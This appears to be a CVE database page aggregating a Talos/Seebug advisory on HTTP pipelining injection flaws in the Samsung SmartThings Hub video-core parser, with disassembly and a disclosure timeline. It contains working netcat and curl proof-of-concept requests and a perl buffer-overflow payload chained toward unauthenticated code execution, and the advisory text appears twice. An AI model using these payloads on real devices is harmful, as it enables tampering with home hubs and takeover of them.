Vulnerabilities > CVE-2018-3908 - HTTP Request Smuggling vulnerability in Samsung Sth-Eth-250 Firmware 0.20.17
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
NONE Integrity impact
HIGH Availability impact
NONE Summary
An exploitable vulnerability exists in the REST parser of video-core's HTTP server of the Samsung SmartThings Hub STH-ETH-250-Firmware version 0.20.17. The video-core process incorrectly handles pipelined HTTP requests, which allows successive requests to overwrite the previously parsed HTTP method, URL and body. With the implementation of the on_body callback, defined by sub_41734, an attacker can send an HTTP request to trigger this vulnerability.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- HTTP Request Splitting HTTP Request Splitting (also known as HTTP Request Smuggling) is an attack pattern where an attacker attempts to insert additional HTTP requests in the body of the original (enveloping) HTTP request in such a way that the browser interprets it as one request but the web server interprets it as two. There are several ways to perform HTTP request splitting attacks. One way is to include double Content-Length headers in the request to exploit the fact that the devices parsing the request may each use a different header. Another way is to submit an HTTP request with a "Transfer Encoding: chunked" in the request header set with setRequestHeader to allow a payload in the HTTP Request that can be considered as another HTTP Request by a subsequent parsing entity. A third way is to use the "Double CR in an HTTP header" technique. There are also a few less general techniques targeting specific parsing vulnerabilities in certain web servers.
- HTTP Request Smuggling HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.
Seebug
bulletinFamily exploit description ### Summary Multiple exploitable vulnerabilities exist in the REST parser of `video-core`'s HTTP server of the Samsung SmartThings Hub. The `video-core` process incorrectly handles pipelined HTTP requests, which allows successive requests to overwrite the previously parsed HTTP method, URL and body. An attacker can send an HTTP request to trigger this vulnerability. ### Tested Versions Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17 ### Product URLs [https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub) ### CVSSv3 Score 9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H ### CWE CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') ### Details Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture. The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the `hubCore` process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely. One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork. Inside the hub, the livestream is handled by the `video-core` process, which uses `ffmpeg` to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application. The remote SmartThings servers have the possibility to communicate with the `video-core` process by sending messages in the persistent TLS connection, established by the `hubCore` process. These messages can encapsulate an HTTP request, which `hubCore` would relay directly to the HTTP server exposed by `video-core`. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request. The HTTP server implementation in `video-core` is based on [`http-parser`](https://github.com/nodejs/http-parser). The usage of `http-parser` is explained in the project's "readme", and essentially allows for an HTTP server to be implemented using the following steps: 1. Create an `http_parser` object and call `http_parser_init()`. 2. Create an `http_parser_settings` object and configure any required callback. For example, the `on_url` function is called right after the URL component of the request is parsed. 3. Bind to any port and read an arbitrarily-long message (the client's HTTP request). 4. Send the message and the `http_parser_settings` object to `http_parser_execute()`, which takes care of parsing the request and calling the necessary callbacks. 5. If the function doesn't return any parsing error, execute any logic based on the parsed data. The `http-parser` library supports both chunked and pipelined requests. Because of this, the callbacks may be invoked multiple times during a single `http_parser_execute()` call. The callbacks defined by `video-core` are: - `on_url`: called when a URL is parsed. - `on_body`: called when an HTTP body is parsed. - `on_message_complete`: called when the current HTTP request is complete. The callbacks, as defined by `video-core`, correctly support chunked requests. However, they incorrectly handle pipelined requests, as they don't have the concept of multiple HTTP requests over a unique connection. #### CVE-2018-3907 - "on\_url" callback The following is the implementation of the `on_url` callback, defined by `sub_41618`: .text:00041618 sub_41618 .text:00041618 .text:00041618 var_1F8= -0x1F8 .text:00041618 var_1F4= -0x1F4 .text:00041618 s = -0x1F0 .text:00041618 .text:00041618 000 STMFD SP!, {R4-R6,LR} .text:0004161C 010 MOV R5, R2 .text:00041620 010 LDR R4, [R0,#http_parser.data] .text:00041624 010 SUB SP, SP, #0x1E8 .text:00041628 1F8 LDR R0, [R4,#0x24] .text:0004162C 1F8 ADD R3, R2, R0 ; [1] .text:00041630 1F8 CMP R3, #0x200 ; [2] .text:00041634 1F8 BCC loc_41658 ... .text:00041658 loc_41658 .text:00041658 1F8 ADD R0, R4, R0 .text:0004165C 1F8 MOV R6, #0 .text:00041660 1F8 ADD R0, R0, #0x2C .text:00041664 1F8 BL memcpy ; [3] .text:00041668 1F8 MOV R3, #:lower16:debug_log .text:0004166C 1F8 LDR R1, [R4,#0x24] .text:00041670 1F8 MOVT R3, #:upper16:debug_log .text:00041674 1F8 LDR R2, [R3] .text:00041678 1F8 ADD R5, R5, R1 .text:0004167C 1F8 ADD R3, R4, R5 .text:00041680 1F8 STR R5, [R4,#0x24] ; [4] .text:00041684 1F8 CMP R2, #3 .text:00041688 1F8 STRB R6, [R3,#0x2C] .text:0004168C 1F8 BHI loc_416EC .text:00041690 1F8 MOV R0, R6 .text:00041694 .text:00041694 loc_41694 .text:00041694 1F8 ADD SP, SP, #0x1E8 .text:00041698 010 LDMFD SP!, {R4-R6,PC} The callback receives three arguments, in order: - `http_parser` object - string pointing to the `url` portion - length of the `url` string At [1], the current length of the parsed `url` string is extracted from the structure stored in `http_parser.data`, and at [2], the function ensures that the final `url` has a maximum length of 512 characters. At [3], the `url` portion received as second parameter is concatenated to the current `url`. Finally, at [4], the length is updated in the global structure. When pipelined HTTP requests are present, this callback will be called multiple times and the same `url` buffer will be updated, causing successive request to interfere with each other. ##### "on\_url" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request by concatenating the paths of two different requests: $ echo -e "GET /req1 HTTP/1.1\r\n\r\nGET /req2\r\n\r\n" | nc 127.0.0.1 3000 By looking at the hub's logs, we can see that the parsed request is "GET /req1/req2", rather than two different HTTP requests. # grep " REST " /var/log/videoCoreLog | tail -n 2 [... #1325 REST videoCoreREST.c:374] handling request GET /req1/req2 [... #1325 REST httpMethod.c:151] http response 404 size=67 for GET /req1/req2 Note that `http-parser` imposes restrictions on the URI format, specifically when the URI just includes a path, this must start with either "\*" or "/", otherwise an error is thrown and the parsing is interrupted. #### CVE-2018-3908 - "on\_body" callback The following is the implementation of the `on_body` callback, defined by `sub_41734`: .text:00041734 sub_41734 .text:00041734 .text:00041734 var_1F8= -0x1F8 .text:00041734 var_1F4= -0x1F4 .text:00041734 s = -0x1F0 .text:00041734 .text:00041734 000 STMFD SP!, {R4-R6,LR} .text:00041738 010 MOV R5, R2 .text:0004173C 010 LDR R4, [R0,#http_parser.data] .text:00041740 010 SUB SP, SP, #0x1E8 .text:00041744 1F8 LDR R0, [R4,#0x28] .text:00041748 1F8 ADD R3, R2, R0 ; [1] .text:0004174C 1F8 CMP R3, #0x1C00 ; [2] .text:00041750 1F8 BCC loc_41774 ... .text:00041774 loc_41774 .text:00041774 1F8 ADD R0, R4, R0 .text:00041778 1F8 MOV R6, #0 .text:0004177C 1F8 ADD R0, R0, #0x22C .text:00041780 1F8 BL memcpy ; [3] .text:00041784 1F8 MOV R3, #:lower16:debug_log .text:00041788 1F8 LDR R1, [R4,#0x28] .text:0004178C 1F8 MOVT R3, #:upper16:debug_log .text:00041790 1F8 LDR R2, [R3] .text:00041794 1F8 ADD R5, R5, R1 .text:00041798 1F8 ADD R3, R4, R5 .text:0004179C 1F8 STR R5, [R4,#0x28] ; [4] .text:000417A0 1F8 CMP R2, #3 .text:000417A4 1F8 STRB R6, [R3,#0x22C] .text:000417A8 1F8 BHI loc_41808 .text:000417AC 1F8 MOV R0, R6 .text:000417B0 .text:000417B0 loc_417B0 .text:000417B0 1F8 ADD SP, SP, #0x1E8 .text:000417B4 010 LDMFD SP!, {R4-R6,PC} The implementation is similar to the `on_url` callback, except for the maximum size of the body component [2]. ##### "on\_body" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request, specifying the path in the first request, and the body in the second: # assume that we have a camera with id 00000000-0000-0000-0000-000000000001, and notice the "url" is "A". $ curl -X GET http://127.0.0.1:3000/cameras/00000000-0000-0000-0000-000000000001 {"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}} # change the url to "B" $ echo -e "PATCH /cameras HTTP/1.1\r\n\r\nPATCH /00000000-0000-0000-0000-000000000001\r\nContent-Length: 22\r\n\r\n{\"url\":\"B\",\"state\":\"\"}" | nc 127.0.0.1 3000 HTTP/1.1 200 OK Server: Video-Core Date: Wed, 11 Apr 2018 14:53:28 GMT X-ST-Application: Video-Core X-ST-Version: 1.5.3 Connection: close Content-Length: 319 Content-Type: application/json { "status": "Updated", "camera": { "cameraId": "00000000-0000-0000-0000-000000000001", "locationId": "00000000-0000-0000-0000-000000000000", "dni": "000000000000", "url": "B", "state": "", "status": "unavailable", "statusMessage": "" } } As we can see, the "url" field of the camera has been changed to "B", by specifying the body part of the first HTTP request in the second HTTP request. #### CVE-2018-3909 - "on*message*complete" callback The following is the implementation of the `on_message_complete` callback, defined by `sub_415F4`: .text:000415F4 sub_415F4 .text:000415F4 000 LDR R3, [R0,#http_parser.data] .text:000415F8 000 MOV R2, R0 .text:000415FC 000 LDRB R12, [R2,#http_parser.method] .text:00041600 000 MOV R1, #1 .text:00041604 000 MOV R0, #0 .text:00041608 000 ADD R2, R3, #0x1000 .text:0004160C 000 STR R12, [R3,#0x20] ; [5] .text:00041610 000 STR R1, [R2,#0xE2C] .text:00041614 000 BX LR This function is called every time `http-parser` detects the end of an HTTP request. For example, if two HTTP requests are present in the buffer, this function will be called two times. At [5] the "method" field of a custom structure, defined by `video-core`, is updated. When pipelined HTTP requests are present, the last request will overwrite the "method" field last, so all previous methods will be discarded. ##### "on*message*complete" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request, using the second request for changing the method specified by the first one: $ echo -e "PUT /cameras HTTP/1.1\r\n\r\nGET /00000000-0000-0000-0000-000000000001\r\n\r\n" | nc 127.0.0.1 3000 HTTP/1.1 200 OK Server: Video-Core Date: Wed, 11 Apr 2018 15:10:21 GMT X-ST-Application: Video-Core X-ST-Version: 1.5.3 Connection: close Content-Length: 162 Content-Type: application/json Content-Location: /dev/000000000000 {"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}} By looking at the hub's logs, we can see that the parsed request is "GET /cameras/00000000-0000-0000-0000-000000000001", rather than "PUT /cameras/00000000-0000-0000-0000-000000000001". # grep " REST " /var/log/videoCoreLog | tail -n 2 [... #1325 REST videoCoreREST.c:374] handling request GET /cameras/00000000-0000-0000-0000-000000000001 [... #1325 REST httpMethod.c:151] http response 200 size=162 for GET /cameras/00000000-0000-0000-0000-000000000001 ### Exploit Proof of Concept The following proof of concept shows how to use the three vulnerabilities above in order to trigger an additional vulnerability described in TALOS-2018-0573, which will overwrite the saved-PC with 0x41414141. $ (perl -e 'print "DELETE /cameras/ HTTP/1.1\r\nContent-Length: 6904\r\n\r\n{\"cameraId\":\"x\",\"locationId\":\"x\",\"dni\":\"x\",\"url\":\"","X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100,"\"}\r\n\r\nPUT *\r\n\r\n"') | nc -vv 127.0.0.1 3000 Moreover, we verified that the same could be applied to the buffer overflow in TALOS-2018-0570 and the SQL injection in TALOS-2018-0556 (when used on the "/clips" path), however with the requirement of knowing at least an existing "cameraId". Finally, note that the three vulnerabilities in this report provide a different way of exploiting bugs in `video-core`, and could give mainly two advantages to an attacker: - Can be used to evade attacks identification, by splitting HTTP components in multiple requests. - Can be further chained with TALOS-2018-0578 to achieve arbitrary code execution without authentication. ### Timeline * 2018-04-19 - Vendor Disclosure * 2018-05-23 - Discussion with vendor/review of timeline for disclosure * 2018-07-17 - Vendor patched * 2018-07-26 - Public Release id SSV:97450 last seen 2018-07-31 modified 2018-07-30 published 2018-07-30 reporter My Seebug title Samsung SmartThings Hub video-core Database find-by-cameraId Code Execution Vulnerability(CVE-2018-3880) bulletinFamily exploit description ### Summary Multiple exploitable vulnerabilities exist in the REST parser of `video-core`'s HTTP server of the Samsung SmartThings Hub. The `video-core` process incorrectly handles pipelined HTTP requests, which allows successive requests to overwrite the previously parsed HTTP method, URL and body. An attacker can send an HTTP request to trigger this vulnerability. ### Tested Versions Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17 ### Product URLs [https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub) ### CVSSv3 Score 9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H ### CWE CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') ### Details Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture. The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the `hubCore` process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely. One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork. Inside the hub, the livestream is handled by the `video-core` process, which uses `ffmpeg` to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application. The remote SmartThings servers have the possibility to communicate with the `video-core` process by sending messages in the persistent TLS connection, established by the `hubCore` process. These messages can encapsulate an HTTP request, which `hubCore` would relay directly to the HTTP server exposed by `video-core`. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request. The HTTP server implementation in `video-core` is based on [`http-parser`](https://github.com/nodejs/http-parser). The usage of `http-parser` is explained in the project's "readme", and essentially allows for an HTTP server to be implemented using the following steps: 1. Create an `http_parser` object and call `http_parser_init()`. 2. Create an `http_parser_settings` object and configure any required callback. For example, the `on_url` function is called right after the URL component of the request is parsed. 3. Bind to any port and read an arbitrarily-long message (the client's HTTP request). 4. Send the message and the `http_parser_settings` object to `http_parser_execute()`, which takes care of parsing the request and calling the necessary callbacks. 5. If the function doesn't return any parsing error, execute any logic based on the parsed data. The `http-parser` library supports both chunked and pipelined requests. Because of this, the callbacks may be invoked multiple times during a single `http_parser_execute()` call. The callbacks defined by `video-core` are: - `on_url`: called when a URL is parsed. - `on_body`: called when an HTTP body is parsed. - `on_message_complete`: called when the current HTTP request is complete. The callbacks, as defined by `video-core`, correctly support chunked requests. However, they incorrectly handle pipelined requests, as they don't have the concept of multiple HTTP requests over a unique connection. #### CVE-2018-3907 - "on\_url" callback The following is the implementation of the `on_url` callback, defined by `sub_41618`: .text:00041618 sub_41618 .text:00041618 .text:00041618 var_1F8= -0x1F8 .text:00041618 var_1F4= -0x1F4 .text:00041618 s = -0x1F0 .text:00041618 .text:00041618 000 STMFD SP!, {R4-R6,LR} .text:0004161C 010 MOV R5, R2 .text:00041620 010 LDR R4, [R0,#http_parser.data] .text:00041624 010 SUB SP, SP, #0x1E8 .text:00041628 1F8 LDR R0, [R4,#0x24] .text:0004162C 1F8 ADD R3, R2, R0 ; [1] .text:00041630 1F8 CMP R3, #0x200 ; [2] .text:00041634 1F8 BCC loc_41658 ... .text:00041658 loc_41658 .text:00041658 1F8 ADD R0, R4, R0 .text:0004165C 1F8 MOV R6, #0 .text:00041660 1F8 ADD R0, R0, #0x2C .text:00041664 1F8 BL memcpy ; [3] .text:00041668 1F8 MOV R3, #:lower16:debug_log .text:0004166C 1F8 LDR R1, [R4,#0x24] .text:00041670 1F8 MOVT R3, #:upper16:debug_log .text:00041674 1F8 LDR R2, [R3] .text:00041678 1F8 ADD R5, R5, R1 .text:0004167C 1F8 ADD R3, R4, R5 .text:00041680 1F8 STR R5, [R4,#0x24] ; [4] .text:00041684 1F8 CMP R2, #3 .text:00041688 1F8 STRB R6, [R3,#0x2C] .text:0004168C 1F8 BHI loc_416EC .text:00041690 1F8 MOV R0, R6 .text:00041694 .text:00041694 loc_41694 .text:00041694 1F8 ADD SP, SP, #0x1E8 .text:00041698 010 LDMFD SP!, {R4-R6,PC} The callback receives three arguments, in order: - `http_parser` object - string pointing to the `url` portion - length of the `url` string At [1], the current length of the parsed `url` string is extracted from the structure stored in `http_parser.data`, and at [2], the function ensures that the final `url` has a maximum length of 512 characters. At [3], the `url` portion received as second parameter is concatenated to the current `url`. Finally, at [4], the length is updated in the global structure. When pipelined HTTP requests are present, this callback will be called multiple times and the same `url` buffer will be updated, causing successive request to interfere with each other. ##### "on\_url" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request by concatenating the paths of two different requests: $ echo -e "GET /req1 HTTP/1.1\r\n\r\nGET /req2\r\n\r\n" | nc 127.0.0.1 3000 By looking at the hub's logs, we can see that the parsed request is "GET /req1/req2", rather than two different HTTP requests. # grep " REST " /var/log/videoCoreLog | tail -n 2 [... #1325 REST videoCoreREST.c:374] handling request GET /req1/req2 [... #1325 REST httpMethod.c:151] http response 404 size=67 for GET /req1/req2 Note that `http-parser` imposes restrictions on the URI format, specifically when the URI just includes a path, this must start with either "\*" or "/", otherwise an error is thrown and the parsing is interrupted. #### CVE-2018-3908 - "on\_body" callback The following is the implementation of the `on_body` callback, defined by `sub_41734`: .text:00041734 sub_41734 .text:00041734 .text:00041734 var_1F8= -0x1F8 .text:00041734 var_1F4= -0x1F4 .text:00041734 s = -0x1F0 .text:00041734 .text:00041734 000 STMFD SP!, {R4-R6,LR} .text:00041738 010 MOV R5, R2 .text:0004173C 010 LDR R4, [R0,#http_parser.data] .text:00041740 010 SUB SP, SP, #0x1E8 .text:00041744 1F8 LDR R0, [R4,#0x28] .text:00041748 1F8 ADD R3, R2, R0 ; [1] .text:0004174C 1F8 CMP R3, #0x1C00 ; [2] .text:00041750 1F8 BCC loc_41774 ... .text:00041774 loc_41774 .text:00041774 1F8 ADD R0, R4, R0 .text:00041778 1F8 MOV R6, #0 .text:0004177C 1F8 ADD R0, R0, #0x22C .text:00041780 1F8 BL memcpy ; [3] .text:00041784 1F8 MOV R3, #:lower16:debug_log .text:00041788 1F8 LDR R1, [R4,#0x28] .text:0004178C 1F8 MOVT R3, #:upper16:debug_log .text:00041790 1F8 LDR R2, [R3] .text:00041794 1F8 ADD R5, R5, R1 .text:00041798 1F8 ADD R3, R4, R5 .text:0004179C 1F8 STR R5, [R4,#0x28] ; [4] .text:000417A0 1F8 CMP R2, #3 .text:000417A4 1F8 STRB R6, [R3,#0x22C] .text:000417A8 1F8 BHI loc_41808 .text:000417AC 1F8 MOV R0, R6 .text:000417B0 .text:000417B0 loc_417B0 .text:000417B0 1F8 ADD SP, SP, #0x1E8 .text:000417B4 010 LDMFD SP!, {R4-R6,PC} The implementation is similar to the `on_url` callback, except for the maximum size of the body component [2]. ##### "on\_body" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request, specifying the path in the first request, and the body in the second: # assume that we have a camera with id 00000000-0000-0000-0000-000000000001, and notice the "url" is "A". $ curl -X GET http://127.0.0.1:3000/cameras/00000000-0000-0000-0000-000000000001 {"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}} # change the url to "B" $ echo -e "PATCH /cameras HTTP/1.1\r\n\r\nPATCH /00000000-0000-0000-0000-000000000001\r\nContent-Length: 22\r\n\r\n{\"url\":\"B\",\"state\":\"\"}" | nc 127.0.0.1 3000 HTTP/1.1 200 OK Server: Video-Core Date: Wed, 11 Apr 2018 14:53:28 GMT X-ST-Application: Video-Core X-ST-Version: 1.5.3 Connection: close Content-Length: 319 Content-Type: application/json { "status": "Updated", "camera": { "cameraId": "00000000-0000-0000-0000-000000000001", "locationId": "00000000-0000-0000-0000-000000000000", "dni": "000000000000", "url": "B", "state": "", "status": "unavailable", "statusMessage": "" } } As we can see, the "url" field of the camera has been changed to "B", by specifying the body part of the first HTTP request in the second HTTP request. #### CVE-2018-3909 - "on*message*complete" callback The following is the implementation of the `on_message_complete` callback, defined by `sub_415F4`: .text:000415F4 sub_415F4 .text:000415F4 000 LDR R3, [R0,#http_parser.data] .text:000415F8 000 MOV R2, R0 .text:000415FC 000 LDRB R12, [R2,#http_parser.method] .text:00041600 000 MOV R1, #1 .text:00041604 000 MOV R0, #0 .text:00041608 000 ADD R2, R3, #0x1000 .text:0004160C 000 STR R12, [R3,#0x20] ; [5] .text:00041610 000 STR R1, [R2,#0xE2C] .text:00041614 000 BX LR This function is called every time `http-parser` detects the end of an HTTP request. For example, if two HTTP requests are present in the buffer, this function will be called two times. At [5] the "method" field of a custom structure, defined by `video-core`, is updated. When pipelined HTTP requests are present, the last request will overwrite the "method" field last, so all previous methods will be discarded. ##### "on*message*complete" exploit Proof of Concept The following proof of concept shows how to perform one unique HTTP request, using the second request for changing the method specified by the first one: $ echo -e "PUT /cameras HTTP/1.1\r\n\r\nGET /00000000-0000-0000-0000-000000000001\r\n\r\n" | nc 127.0.0.1 3000 HTTP/1.1 200 OK Server: Video-Core Date: Wed, 11 Apr 2018 15:10:21 GMT X-ST-Application: Video-Core X-ST-Version: 1.5.3 Connection: close Content-Length: 162 Content-Type: application/json Content-Location: /dev/000000000000 {"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}} By looking at the hub's logs, we can see that the parsed request is "GET /cameras/00000000-0000-0000-0000-000000000001", rather than "PUT /cameras/00000000-0000-0000-0000-000000000001". # grep " REST " /var/log/videoCoreLog | tail -n 2 [... #1325 REST videoCoreREST.c:374] handling request GET /cameras/00000000-0000-0000-0000-000000000001 [... #1325 REST httpMethod.c:151] http response 200 size=162 for GET /cameras/00000000-0000-0000-0000-000000000001 ### Exploit Proof of Concept The following proof of concept shows how to use the three vulnerabilities above in order to trigger an additional vulnerability described in TALOS-2018-0573, which will overwrite the saved-PC with 0x41414141. $ (perl -e 'print "DELETE /cameras/ HTTP/1.1\r\nContent-Length: 6904\r\n\r\n{\"cameraId\":\"x\",\"locationId\":\"x\",\"dni\":\"x\",\"url\":\"","X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100,"\"}\r\n\r\nPUT *\r\n\r\n"') | nc -vv 127.0.0.1 3000 Moreover, we verified that the same could be applied to the buffer overflow in TALOS-2018-0570 and the SQL injection in TALOS-2018-0556 (when used on the "/clips" path), however with the requirement of knowing at least an existing "cameraId". Finally, note that the three vulnerabilities in this report provide a different way of exploiting bugs in `video-core`, and could give mainly two advantages to an attacker: - Can be used to evade attacks identification, by splitting HTTP components in multiple requests. - Can be further chained with TALOS-2018-0578 to achieve arbitrary code execution without authentication. ### Timeline * 2018-04-19 - Vendor Disclosure * 2018-05-23 - Discussion with vendor/review of timeline for disclosure * 2018-07-17 - Vendor patched * 2018-07-26 - Public Release id SSV:97447 last seen 2018-07-31 modified 2018-07-30 published 2018-07-30 reporter My Seebug title Samsung SmartThings Hub video-core REST Request Parser HTTP Pipelining Injection Vulnerabilities(CVE-2018-3907 - CVE-2018-3909)
Talos
id | TALOS-2018-0577 |
last seen | 2019-05-29 |
published | 2018-07-26 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0577 |
title | Samsung SmartThings Hub video-core REST Request Parser HTTP Pipelining Injection Vulnerabilities |